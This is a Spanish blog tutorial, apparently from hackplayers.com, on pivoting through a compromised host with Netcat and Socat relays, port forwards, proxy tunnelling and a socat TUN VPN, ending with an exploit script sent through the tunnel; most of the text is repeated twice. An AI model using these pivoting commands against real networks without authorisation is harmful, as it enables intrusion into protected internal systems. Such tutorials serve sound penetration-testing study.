Taller de pivoting: Netcat y Socat
No podía faltar entre estas entradas de pivoting una dedicada a Netcat, la navaja suiza de TCP/IP, y su homólogo "con esteroides" Socat.
Netcat
Empecemos con Netcat que, aunque puede hacer muchas cosas, tiene como objetivo y función principales:
- Crear un socket inicial para establecer una conexión desde el servidor al cliente.
- Una vez conectado, generar automáticamente un segundo socket para transmitir archivos desde el servidor al cliente y viceversa (realmente esa es la parte sexy)
Y volvemos al escenario típico de pivoting, en el que el atacante compromete un equipo que tiene acceso a través del firewall a otro servidor que también queremos atacar:
En la máquina del atacante configuraremos un relay listener-to-listener usando el siguiente comando:
# ncat -lv --broker -m2 10000
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Listening on :::10000
Ncat: Listening on 0.0.0.0:10000
En este momento, tendremos levantado el puerto 10000 en nuestra máquina. Luego, en el servidor comprometido ejecutaremos el siguiente comando:
$ ncat -v 192.168.2.42 10000 -c "ncat -v 192.168.33.15 20000"
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.2.42:10000.
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.33.15:20000.
Ojo porque esa comando es para la versión netcat-traditional. En Ubuntu y en muchas distros de Linux encontraremos por defecto la versión netcat-openbsd. Si queremos la tradicional tendremos que instalarla específicamente y seleccionarla con update-alternatives:
sudo apt-get install netcat-traditional
sudo update-alternatives --config nc
O si deseas utilizar la versión openbsd también podrás hacer la redirección por medio de una tubería fifo:
mkfifo backpipe
nc -l 12345 0<backpipe | nc www.google.com 80 1>backpipe
Una alternativa que funciona en bash en OS X es usar una tubería o pipe bidireccional. Puede funcionar en otros sistemas Unix:
nc 127.0.0.1 8000 <&1 | nc -l 8001 >&0
Después podremos ejecutar en la máquina del atacante:
# ./exploit.py 127.0.0.1 10000
[+] sending payload of length 1479
Socat
Ahora continuaremos con Socat, una utilidad similar a Netcat que funciona a través de una serie de protocolos y de archivos, tuberías, dispositivos (terminales o módems, etc.), conectores (Unix, IP4, IP6 - raw, UDP, TCP), un cliente para SOCKS4 , proxy CONNECT o SSL, etc. Proporciona forking, logging y dumping, diferentes modos de comunicación entre procesos y muchas más opciones.
Empezaremos haciendo un simple túnel para el reenvío de un puerto:
socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:192.168.33.15:20000
La opción reuseaddr permite que otros sockets se vinculen a una dirección incluso si socat ya la usa (por ejemplo, el puerto local). Con la opción fork después de establecer una conexión, lleva su canal a un proceso secundario y mantiene el proceso principal intentando producir más conexiones, ya sea escuchando o conectando en un loop.
Luego si tenemos un proxy delante podemos "indicar" a socat que lo utilice, incluso con las crendenciales correspondientes si ya las tenemos:
socat TCP4-LISTEN:10000,reuseaddr,fork PROXY:servidor_proxy:192.168.33.15:20000, proxyport=3128, proxyauth=user:pass
Con el siguiente comando configuraremos un sencillo reenviador de puertos TCP. Con TCP4-LISTEN escuchamos en el puerto local "www" hasta que llegue una conexión y se acepte.
socat -d -d -lmlocal2 TCP4-LISTEN:5666,bind=192.168.2.42,su=nobody,fork,reuseaddr TCP4:192.168.33.15:5432
Como veis, el servicio que se ejecuta en 192.168.2.42:5432 es reenviado a 192.168.33.15:5666. Los parámetros -d -d imprimen mensajes calificados como fatal, error, warning y notice y con -lmlocal2 socat loggea a stderr.
Finalmente, usaremos dos instancias de socat para generar dispositivos TUN en diferentes hosts y conectar ambos lados como si fuera una sencilla VPN.
TUN Server
socat -d -d TCP-LISTEN:11443,reuseaddr TUN:192.168.255.1/24,up
Después de iniciar este comando, socat esperará una conexión y luego creará un pseudo-dispositivo de red TUN con la dirección 192.168.255.1; el número de bit especifica la máscara de la red que se pretende conectar en esta interfaz.
TUN Client
socat TCP: 192.168.33.15:11443 TUN: 192.168.255.2/24, up
Con este último comando se establece una conexión con el servidor y se crea el dispositivo TUN en el cliente.
Netcat
Empecemos con Netcat que, aunque puede hacer muchas cosas, tiene como objetivo y función principales:
- Crear un socket inicial para establecer una conexión desde el servidor al cliente.
- Una vez conectado, generar automáticamente un segundo socket para transmitir archivos desde el servidor al cliente y viceversa (realmente esa es la parte sexy)
Y volvemos al escenario típico de pivoting, en el que el atacante compromete un equipo que tiene acceso a través del firewall a otro servidor que también queremos atacar:
En la máquina del atacante configuraremos un relay listener-to-listener usando el siguiente comando:
# ncat -lv --broker -m2 10000
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Listening on :::10000
Ncat: Listening on 0.0.0.0:10000
En este momento, tendremos levantado el puerto 10000 en nuestra máquina. Luego, en el servidor comprometido ejecutaremos el siguiente comando:
$ ncat -v 192.168.2.42 10000 -c "ncat -v 192.168.33.15 20000"
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.2.42:10000.
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.33.15:20000.
Ojo porque esa comando es para la versión netcat-traditional. En Ubuntu y en muchas distros de Linux encontraremos por defecto la versión netcat-openbsd. Si queremos la tradicional tendremos que instalarla específicamente y seleccionarla con update-alternatives:
sudo apt-get install netcat-traditional
sudo update-alternatives --config nc
O si deseas utilizar la versión openbsd también podrás hacer la redirección por medio de una tubería fifo:
mkfifo backpipe
nc -l 12345 0<backpipe | nc www.google.com 80 1>backpipe
Una alternativa que funciona en bash en OS X es usar una tubería o pipe bidireccional. Puede funcionar en otros sistemas Unix:
nc 127.0.0.1 8000 <&1 | nc -l 8001 >&0
Después podremos ejecutar en la máquina del atacante:
# ./exploit.py 127.0.0.1 10000
[+] sending payload of length 1479
Ahora continuaremos con Socat, una utilidad similar a Netcat que funciona a través de una serie de protocolos y de archivos, tuberías, dispositivos (terminales o módems, etc.), conectores (Unix, IP4, IP6 - raw, UDP, TCP), un cliente para SOCKS4 , proxy CONNECT o SSL, etc. Proporciona forking, logging y dumping, diferentes modos de comunicación entre procesos y muchas más opciones.
Empezaremos haciendo un simple túnel para el reenvío de un puerto:
socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:192.168.33.15:20000
La opción reuseaddr permite que otros sockets se vinculen a una dirección incluso si socat ya la usa (por ejemplo, el puerto local). Con la opción fork después de establecer una conexión, lleva su canal a un proceso secundario y mantiene el proceso principal intentando producir más conexiones, ya sea escuchando o conectando en un loop.
Luego si tenemos un proxy delante podemos "indicar" a socat que lo utilice, incluso con las crendenciales correspondientes si ya las tenemos:
socat TCP4-LISTEN:10000,reuseaddr,fork PROXY:servidor_proxy:192.168.33.15:20000, proxyport=3128, proxyauth=user:pass
Con el siguiente comando configuraremos un sencillo reenviador de puertos TCP. Con TCP4-LISTEN escuchamos en el puerto local "www" hasta que llegue una conexión y se acepte.
socat -d -d -lmlocal2 TCP4-LISTEN:5666,bind=192.168.2.42,su=nobody,fork,reuseaddr TCP4:192.168.33.15:5432
Como veis, el servicio que se ejecuta en 192.168.2.42:5432 es reenviado a 192.168.33.15:5666. Los parámetros -d -d imprimen mensajes calificados como fatal, error, warning y notice y con -lmlocal2 socat loggea a stderr.
Finalmente, usaremos dos instancias de socat para generar dispositivos TUN en diferentes hosts y conectar ambos lados como si fuera una sencilla VPN.
TUN Server
socat -d -d TCP-LISTEN:11443,reuseaddr TUN:192.168.255.1/24,up
Después de iniciar este comando, socat esperará una conexión y luego creará un pseudo-dispositivo de red TUN con la dirección 192.168.255.1; el número de bit especifica la máscara de la red que se pretende conectar en esta interfaz.
TUN Client
socat TCP: 192.168.33.15:11443 TUN: 192.168.255.2/24, up
Con este último comando se establece una conexión con el servidor y se crea el dispositivo TUN en el cliente.
Via: www.hackplayers.com
Taller de pivoting: Netcat y Socat
Reviewed by Anónimo
on
20:16
Rating: